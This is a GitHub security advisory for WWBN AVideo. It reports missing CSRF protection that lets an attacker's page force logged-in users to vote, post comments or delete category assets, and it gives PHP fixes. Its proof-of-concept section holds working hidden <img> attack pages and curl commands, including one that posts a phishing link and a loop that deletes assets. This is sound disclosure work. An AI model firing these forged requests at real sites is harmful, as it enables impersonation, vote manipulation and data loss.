GHSA-X2PW-9C38-CP2J
Vulnerability from github – Published: 2026-04-14 23:12 – Updated: 2026-04-14 23:12Summary
Multiple AVideo JSON endpoints under objects/ accept state-changing requests via $_REQUEST/$_GET and persist changes tied to the caller's session user, without any anti-CSRF token, origin check, or referer check. A malicious page visited by a logged-in victim can silently:
- Cast/flip the victim's like/dislike on any comment (
objects/comments_like.json.php). - Post a comment authored by the victim on any video, with attacker-chosen text (
objects/commentAddNew.json.php). - Delete assets from any category (
objects/categoryDeleteAssets.json.php) when the victim has category management rights.
Each endpoint is reachable from a browser via a simple <img src="…"> tag or form submission, so exploitation only requires the victim to load an attacker-controlled HTML resource.
Details
AVideo exposes a helper, forbidIfIsUntrustedRequest() (objects/functionsSecurity.php:138), that rejects cross-origin requests when the Referer/Origin does not match webSiteRootURL. It is only invoked in one file in the tree — objects/userUpdate.json.php:18 — and is not applied to the endpoints below. There is also an isGlobalTokenValid() helper (objects/functions.php:2313) intended for CSRF-style token checks; none of the affected endpoints call it. allowOrigin() only sets CORS response headers and does not prevent cookie-bearing top-level or image requests from reaching the server.
1. objects/comments_like.json.php — CSRF → forced like/dislike
// objects/comments_like.json.php
15: if (empty($_POST['comments_id']) && !empty($_GET['comments_id'])) {
16: $_POST['comments_id'] = $_GET['comments_id'];
17: }
18:
19: $like = new CommentsLike($_GET['like'], $_POST['comments_id']);
20: echo json_encode(CommentsLike::getLikes($_POST['comments_id']));
The endpoint deliberately promotes $_GET['comments_id'] to $_POST['comments_id'] so the call works for either verb. CommentsLike::__construct (objects/comments_like.php:18) reads User::getId(), calls load() to fetch any prior vote, then setLike() + save() — issuing an INSERT/UPDATE on comments_likes keyed to the session user (objects/comments_like.php:70-89). There is no token check and no origin check.
2. objects/commentAddNew.json.php — CSRF → forced comment posting
// objects/commentAddNew.json.php
34: if (!User::canComment()) {
35: $obj->msg = __("Permission denied");
36: die(json_encode($obj));
37: }
...
117: $objC = new Comment($_REQUEST['comment'], $_REQUEST['video']);
118: $objC->setComments_id_pai($_REQUEST['comments_id']);
...
124: $obj->comments_id = $objC->save();
All inputs come from $_REQUEST, so GET is fully supported. The only gate is User::canComment(), which is true for ordinary logged-in users. isCommentASpam() (lines 39–97) is a per-session rate limiter, not a CSRF defense — it accounts the victim's own session bucket, so it does not block a single forged write. The comment is persisted under the victim's users_id via $objC->save().
3. objects/categoryDeleteAssets.json.php — CSRF → forced deletion of category assets
// objects/categoryDeleteAssets.json.php
14: $obj->id = intval(@$_REQUEST['id']);
15:
16: if (!Category::canCreateCategory()) {
17: $obj->msg = __("Permission denied");
18: die(json_encode($obj));
19: }
20:
21: if (!Category::deleteAssets($obj->id)) {
22: $obj->error = false;
23: ...
State-destroying operation reachable by GET with no CSRF defense. The attacker can enumerate category ids with a loop of <img> tags — every one fires a credentialed request.
Root cause (shared)
All three endpoints follow the same pattern: objects/*.json.php handler that (a) reads mutating parameters from $_REQUEST/$_GET, (b) performs authorization against the victim's session, and (c) writes to the database — without calling forbidIfIsUntrustedRequest(), without validating a CSRF token, and without any SameSite mitigation in the session cookie set by AVideo's auth layer. Any logged-in victim loading an attacker-controlled HTML resource is sufficient.
PoC
Preconditions: attacker controls a page the victim loads while logged into the target AVideo instance. Cookies are sent by default on cross-site <img>/top-level GETs.
Variant A — comments_like.json.php (force a downvote on comment id 10)
Attacker page:
<img src="https://victim.example.com/objects/comments_like.json.php?like=-1&comments_id=10" style="display:none">
Manual verification:
curl -b 'PHPSESSID=<victim-session>' \
'https://victim.example.com/objects/comments_like.json.php?like=-1&comments_id=10'
# → {"comments_id":10,"likes":...,"dislikes":...,"myVote":-1}
# Row inserted/updated in `comments_likes` with users_id = victim.
Variant B — commentAddNew.json.php (force victim to post a phishing comment on video 123)
Attacker page:
<img src="https://victim.example.com/objects/commentAddNew.json.php?comment=Check+out+my+free+giveaway+https%3A%2F%2Fattacker.example%2Fscam&video=123" style="display:none">
Manual verification:
curl -b 'PHPSESSID=<victim-session>' \
'https://victim.example.com/objects/commentAddNew.json.php?comment=phish&video=123'
# → {"error":false,"comments_id":<id>,"msg":"Your comment has been saved!",...}
Variant C — categoryDeleteAssets.json.php (force a category admin to delete assets on category 1)
Attacker page (enumerate several ids):
<img src="https://victim.example.com/objects/categoryDeleteAssets.json.php?id=1">
<img src="https://victim.example.com/objects/categoryDeleteAssets.json.php?id=2">
<img src="https://victim.example.com/objects/categoryDeleteAssets.json.php?id=3">
Manual verification:
curl -b 'PHPSESSID=<category-admin-session>' \
'https://victim.example.com/objects/categoryDeleteAssets.json.php?id=1'
# → {"error":false,"msg":"","id":1}
# Assets for category 1 are removed.
Impact
- Integrity of social signals: Attackers can flip any logged-in user's likes/dislikes to upvote attacker comments or downvote legitimate comments at scale (driven by whichever users visit the attacker page). Because the endpoint accepts
like=-1|0|1, arbitrary vote states can be forced. - Identity abuse via forced comments: An attacker can cause any logged-in user with comment permission to "post" attacker-controlled text on any video. This enables impersonation, phishing link injection under a trusted account, harassment of third parties in a victim's name, and (if the victim is a moderator/admin) endorsement-shaped content in a privileged voice.
- Data loss: Any user with
canCreateCategory()who visits an attacker page can be made to silently delete assets belonging to arbitrary categories. Since category ids are small integers, a loop of<img>tags can cover the full category space in one page load.
No special configuration is required; AVideo's default session cookie lacks a SameSite=Lax/Strict protection that would independently blunt the attack, and none of the affected endpoints verifies origin or token.
Recommended Fix
- Call the existing
forbidIfIsUntrustedRequest()helper at the top of every mutatingobjects/*.json.phphandler (the same pattern already used inobjects/userUpdate.json.php):
// objects/comments_like.json.php (add near line 9)
require_once $global['systemRootPath'] . 'objects/functionsSecurity.php';
forbidIfIsUntrustedRequest();
// objects/commentAddNew.json.php (add after configuration.php include)
require_once $global['systemRootPath'] . 'objects/functionsSecurity.php';
forbidIfIsUntrustedRequest();
// objects/categoryDeleteAssets.json.php (add after configuration.php include)
require_once $global['systemRootPath'] . 'objects/functionsSecurity.php';
forbidIfIsUntrustedRequest();
-
Require
$_SERVER['REQUEST_METHOD'] === 'POST'(orDELETE) for state-changing operations and stop promoting$_GET['comments_id']→$_POST['comments_id']incomments_like.json.php:15-17. -
Validate a per-session CSRF token on all mutating endpoints using the existing
isGlobalTokenValid()/getToken()helpers (objects/functions.php:2313), rejecting requests whoseglobalTokenis missing or invalid. -
As defense in depth, set the session cookie with
SameSite=Lax(orStrict) in the AVideo session initialization, so cross-site navigational GETs do not carry the session cookie even if a handler regresses.
Applying (1) alone closes all three reported variants; (2)–(4) harden the surface against variants of the same pattern in other objects/*.json.php handlers.
{
"affected": [
{
"package": {
"ecosystem": "Packagist",
"name": "wwbn/avideo"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "29.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-352"
],
"github_reviewed": true,
"github_reviewed_at": "2026-04-14T23:12:53Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "## Summary\n\nMultiple AVideo JSON endpoints under `objects/` accept state-changing requests via `$_REQUEST`/`$_GET` and persist changes tied to the caller\u0027s session user, without any anti-CSRF token, origin check, or referer check. A malicious page visited by a logged-in victim can silently:\n\n1. Cast/flip the victim\u0027s like/dislike on any comment (`objects/comments_like.json.php`).\n2. Post a comment authored by the victim on any video, with attacker-chosen text (`objects/commentAddNew.json.php`).\n3. Delete assets from any category (`objects/categoryDeleteAssets.json.php`) when the victim has category management rights.\n\nEach endpoint is reachable from a browser via a simple `\u003cimg src=\"\u2026\"\u003e` tag or form submission, so exploitation only requires the victim to load an attacker-controlled HTML resource.\n\n## Details\n\nAVideo exposes a helper, `forbidIfIsUntrustedRequest()` (`objects/functionsSecurity.php:138`), that rejects cross-origin requests when the `Referer`/`Origin` does not match `webSiteRootURL`. It is only invoked in one file in the tree \u2014 `objects/userUpdate.json.php:18` \u2014 and is *not* applied to the endpoints below. There is also an `isGlobalTokenValid()` helper (`objects/functions.php:2313`) intended for CSRF-style token checks; none of the affected endpoints call it. `allowOrigin()` only sets CORS response headers and does not prevent cookie-bearing top-level or image requests from reaching the server.\n\n### 1. `objects/comments_like.json.php` \u2014 CSRF \u2192 forced like/dislike\n\n```php\n// objects/comments_like.json.php\n15: if (empty($_POST[\u0027comments_id\u0027]) \u0026\u0026 !empty($_GET[\u0027comments_id\u0027])) {\n16: $_POST[\u0027comments_id\u0027] = $_GET[\u0027comments_id\u0027];\n17: }\n18:\n19: $like = new CommentsLike($_GET[\u0027like\u0027], $_POST[\u0027comments_id\u0027]);\n20: echo json_encode(CommentsLike::getLikes($_POST[\u0027comments_id\u0027]));\n```\n\nThe endpoint deliberately promotes `$_GET[\u0027comments_id\u0027]` to `$_POST[\u0027comments_id\u0027]` so the call works for either verb. `CommentsLike::__construct` (`objects/comments_like.php:18`) reads `User::getId()`, calls `load()` to fetch any prior vote, then `setLike()` + `save()` \u2014 issuing an `INSERT`/`UPDATE` on `comments_likes` keyed to the session user (`objects/comments_like.php:70-89`). There is no token check and no origin check.\n\n### 2. `objects/commentAddNew.json.php` \u2014 CSRF \u2192 forced comment posting\n\n```php\n// objects/commentAddNew.json.php\n34: if (!User::canComment()) {\n35: $obj-\u003emsg = __(\"Permission denied\");\n36: die(json_encode($obj));\n37: }\n...\n117: $objC = new Comment($_REQUEST[\u0027comment\u0027], $_REQUEST[\u0027video\u0027]);\n118: $objC-\u003esetComments_id_pai($_REQUEST[\u0027comments_id\u0027]);\n...\n124: $obj-\u003ecomments_id = $objC-\u003esave();\n```\n\nAll inputs come from `$_REQUEST`, so GET is fully supported. The only gate is `User::canComment()`, which is true for ordinary logged-in users. `isCommentASpam()` (lines 39\u201397) is a per-session rate limiter, not a CSRF defense \u2014 it accounts the victim\u0027s own session bucket, so it does not block a single forged write. The comment is persisted under the victim\u0027s `users_id` via `$objC-\u003esave()`.\n\n### 3. `objects/categoryDeleteAssets.json.php` \u2014 CSRF \u2192 forced deletion of category assets\n\n```php\n// objects/categoryDeleteAssets.json.php\n14: $obj-\u003eid = intval(@$_REQUEST[\u0027id\u0027]);\n15:\n16: if (!Category::canCreateCategory()) {\n17: $obj-\u003emsg = __(\"Permission denied\");\n18: die(json_encode($obj));\n19: }\n20:\n21: if (!Category::deleteAssets($obj-\u003eid)) {\n22: $obj-\u003eerror = false;\n23: ...\n```\n\nState-destroying operation reachable by GET with no CSRF defense. The attacker can enumerate category ids with a loop of `\u003cimg\u003e` tags \u2014 every one fires a credentialed request.\n\n### Root cause (shared)\n\nAll three endpoints follow the same pattern: `objects/*.json.php` handler that (a) reads mutating parameters from `$_REQUEST`/`$_GET`, (b) performs authorization against the victim\u0027s session, and (c) writes to the database \u2014 without calling `forbidIfIsUntrustedRequest()`, without validating a CSRF token, and without any `SameSite` mitigation in the session cookie set by AVideo\u0027s auth layer. Any logged-in victim loading an attacker-controlled HTML resource is sufficient.\n\n## PoC\n\nPreconditions: attacker controls a page the victim loads while logged into the target AVideo instance. Cookies are sent by default on cross-site `\u003cimg\u003e`/top-level GETs.\n\n### Variant A \u2014 comments_like.json.php (force a downvote on comment id 10)\n\nAttacker page:\n```html\n\u003cimg src=\"https://victim.example.com/objects/comments_like.json.php?like=-1\u0026comments_id=10\" style=\"display:none\"\u003e\n```\n\nManual verification:\n```bash\ncurl -b \u0027PHPSESSID=\u003cvictim-session\u003e\u0027 \\\n \u0027https://victim.example.com/objects/comments_like.json.php?like=-1\u0026comments_id=10\u0027\n# \u2192 {\"comments_id\":10,\"likes\":...,\"dislikes\":...,\"myVote\":-1}\n# Row inserted/updated in `comments_likes` with users_id = victim.\n```\n\n### Variant B \u2014 commentAddNew.json.php (force victim to post a phishing comment on video 123)\n\nAttacker page:\n```html\n\u003cimg src=\"https://victim.example.com/objects/commentAddNew.json.php?comment=Check+out+my+free+giveaway+https%3A%2F%2Fattacker.example%2Fscam\u0026video=123\" style=\"display:none\"\u003e\n```\n\nManual verification:\n```bash\ncurl -b \u0027PHPSESSID=\u003cvictim-session\u003e\u0027 \\\n \u0027https://victim.example.com/objects/commentAddNew.json.php?comment=phish\u0026video=123\u0027\n# \u2192 {\"error\":false,\"comments_id\":\u003cid\u003e,\"msg\":\"Your comment has been saved!\",...}\n```\n\n### Variant C \u2014 categoryDeleteAssets.json.php (force a category admin to delete assets on category 1)\n\nAttacker page (enumerate several ids):\n```html\n\u003cimg src=\"https://victim.example.com/objects/categoryDeleteAssets.json.php?id=1\"\u003e\n\u003cimg src=\"https://victim.example.com/objects/categoryDeleteAssets.json.php?id=2\"\u003e\n\u003cimg src=\"https://victim.example.com/objects/categoryDeleteAssets.json.php?id=3\"\u003e\n```\n\nManual verification:\n```bash\ncurl -b \u0027PHPSESSID=\u003ccategory-admin-session\u003e\u0027 \\\n \u0027https://victim.example.com/objects/categoryDeleteAssets.json.php?id=1\u0027\n# \u2192 {\"error\":false,\"msg\":\"\",\"id\":1}\n# Assets for category 1 are removed.\n```\n\n## Impact\n\n- **Integrity of social signals:** Attackers can flip any logged-in user\u0027s likes/dislikes to upvote attacker comments or downvote legitimate comments at scale (driven by whichever users visit the attacker page). Because the endpoint accepts `like=-1|0|1`, arbitrary vote states can be forced.\n- **Identity abuse via forced comments:** An attacker can cause any logged-in user with comment permission to \"post\" attacker-controlled text on any video. This enables impersonation, phishing link injection under a trusted account, harassment of third parties in a victim\u0027s name, and (if the victim is a moderator/admin) endorsement-shaped content in a privileged voice.\n- **Data loss:** Any user with `canCreateCategory()` who visits an attacker page can be made to silently delete assets belonging to arbitrary categories. Since category ids are small integers, a loop of `\u003cimg\u003e` tags can cover the full category space in one page load.\n\nNo special configuration is required; AVideo\u0027s default session cookie lacks a `SameSite=Lax/Strict` protection that would independently blunt the attack, and none of the affected endpoints verifies origin or token.\n\n## Recommended Fix\n\n1. Call the existing `forbidIfIsUntrustedRequest()` helper at the top of every mutating `objects/*.json.php` handler (the same pattern already used in `objects/userUpdate.json.php`):\n\n```php\n// objects/comments_like.json.php (add near line 9)\nrequire_once $global[\u0027systemRootPath\u0027] . \u0027objects/functionsSecurity.php\u0027;\nforbidIfIsUntrustedRequest();\n\n// objects/commentAddNew.json.php (add after configuration.php include)\nrequire_once $global[\u0027systemRootPath\u0027] . \u0027objects/functionsSecurity.php\u0027;\nforbidIfIsUntrustedRequest();\n\n// objects/categoryDeleteAssets.json.php (add after configuration.php include)\nrequire_once $global[\u0027systemRootPath\u0027] . \u0027objects/functionsSecurity.php\u0027;\nforbidIfIsUntrustedRequest();\n```\n\n2. Require `$_SERVER[\u0027REQUEST_METHOD\u0027] === \u0027POST\u0027` (or `DELETE`) for state-changing operations and stop promoting `$_GET[\u0027comments_id\u0027]` \u2192 `$_POST[\u0027comments_id\u0027]` in `comments_like.json.php:15-17`.\n\n3. Validate a per-session CSRF token on all mutating endpoints using the existing `isGlobalTokenValid()` / `getToken()` helpers (`objects/functions.php:2313`), rejecting requests whose `globalToken` is missing or invalid.\n\n4. As defense in depth, set the session cookie with `SameSite=Lax` (or `Strict`) in the AVideo session initialization, so cross-site navigational GETs do not carry the session cookie even if a handler regresses.\n\nApplying (1) alone closes all three reported variants; (2)\u2013(4) harden the surface against variants of the same pattern in other `objects/*.json.php` handlers.",
"id": "GHSA-x2pw-9c38-cp2j",
"modified": "2026-04-14T23:12:53Z",
"published": "2026-04-14T23:12:53Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/WWBN/AVideo/security/advisories/GHSA-x2pw-9c38-cp2j"
},
{
"type": "WEB",
"url": "https://github.com/WWBN/AVideo/commit/7aaad601bd9cd7b993ba0ee1b1bea6c32ee7b77c"
},
{
"type": "PACKAGE",
"url": "https://github.com/WWBN/AVideo"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:L",
"type": "CVSS_V3"
}
],
"summary": "WWBN AVideo: Missing CSRF Protection on State-Changing JSON Endpoints Enables Forced Comment Creation, Vote Manipulation, and Category Asset Deletion"
}
Sightings
| Author | Source | Type | Date |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.